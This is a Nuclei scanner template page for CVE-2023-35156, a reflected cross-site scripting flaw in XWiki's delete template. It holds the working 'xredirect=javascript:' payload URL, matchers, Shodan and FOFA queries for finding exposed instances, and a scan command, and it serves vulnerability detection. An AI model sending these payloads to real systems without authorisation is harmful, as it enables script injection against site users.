XWiki >= 6.0-rc-1 - Cross-Site Scripting

ID: CVE-2023-35156

Severity: medium

Author: ritikchaddha

Tags: cve,cve2023,xwiki,xss

Description

XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Users are able to forge an URL with a payload allowing to inject Javascript in the page (XSS). It’s possible to exploit the delete template to perform a XSS, e.g. by using URL such as: > xwiki/bin/get/FlamingoThemes/Cerulean?xpage=xpart&vm=delete.vm&xredirect=javascript:alert(document.domain). This vulnerability exists since XWiki 6.0-rc-1.

YAML Source

id: CVE-2023-35156

info:
  name: XWiki >= 6.0-rc-1 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Users are able to forge an URL with a payload allowing to inject Javascript in the page (XSS). It's possible to exploit the delete template to perform a XSS, e.g. by using URL such as: > xwiki/bin/get/FlamingoThemes/Cerulean?xpage=xpart&vm=delete.vm&xredirect=javascript:alert(document.domain). This vulnerability exists since XWiki 6.0-rc-1.
  impact: |
    Successful exploitation could lead to cross-site scripting.
  remediation: |
    This vulnerability has been patched in XWiki 14.10.6,15.1.
  reference:
    - https://jira.xwiki.org/browse/XWIKI-20341
    - https://nvd.nist.gov/vuln/detail/CVE-2023-35156
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-35156
    cwe-id: CWE-79
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    verified: true
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2023,xwiki,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/xwiki/bin/get/FlamingoThemes/Cerulean?xpage=xpart&vm=delete.vm&xredirect=javascript:alert(document.domain)"
      - "{{BaseURL}}/bin/get/FlamingoThemes/Cerulean?xpage=xpart&vm=delete.vm&xredirect=javascript:alert(document.domain)"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'cancel" href="javascript:alert(document.domain)'

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
          - 401
# digest: 4a0a0047304502210087d1ac38468598df4dc7f1e38690de4a2804bceec770b21b97db7af62120b4cb02200d3de976a5e07149455bd1ffd1b54a5ec79c2500db4c50e048ccc9b97acd3230:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-35156.yaml"

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